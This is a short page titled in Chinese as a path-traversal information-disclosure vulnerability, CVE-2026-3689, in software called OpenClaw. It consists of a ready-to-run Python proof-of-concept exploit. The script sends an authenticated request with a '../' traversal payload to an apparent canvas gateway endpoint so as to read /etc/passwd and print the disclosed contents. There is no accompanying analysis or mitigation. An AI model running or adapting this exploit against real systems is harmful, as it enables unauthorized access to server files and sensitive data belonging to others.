CVE-2026-3689 OpenClaw路径遍历信息泄露漏洞

import requests def exploit_vulnerability(target_url, session_cookie): """ Proof of Concept for CVE-2026-3689 Exploits path traversal in OpenClaw Canvas Gateway endpoint. """ # The endpoint handling the canvas gateway endpoint = f"{target_url}/api/canvas_gateway" # Headers including the authentication cookie headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-3689-POC" } # Malicious payload using path traversal sequences # Attempting to read /etc/passwd on Linux systems payload = { "path": "../../../../../../etc/passwd" } try: response = requests.get(endpoint, headers=headers, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") # Check if the response content looks like a file if "root:" in response.text: print("[!] Vulnerability exploited successfully! Sensitive data disclosed:") print(response.text) else: print("[-] Target might be patched or file not found.") print(response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://192.168.1.100:8080" # Replace with a valid authenticated session cookie auth_cookie = "session_id=authenticated_user_token_here" exploit_vulnerability(target, auth_cookie)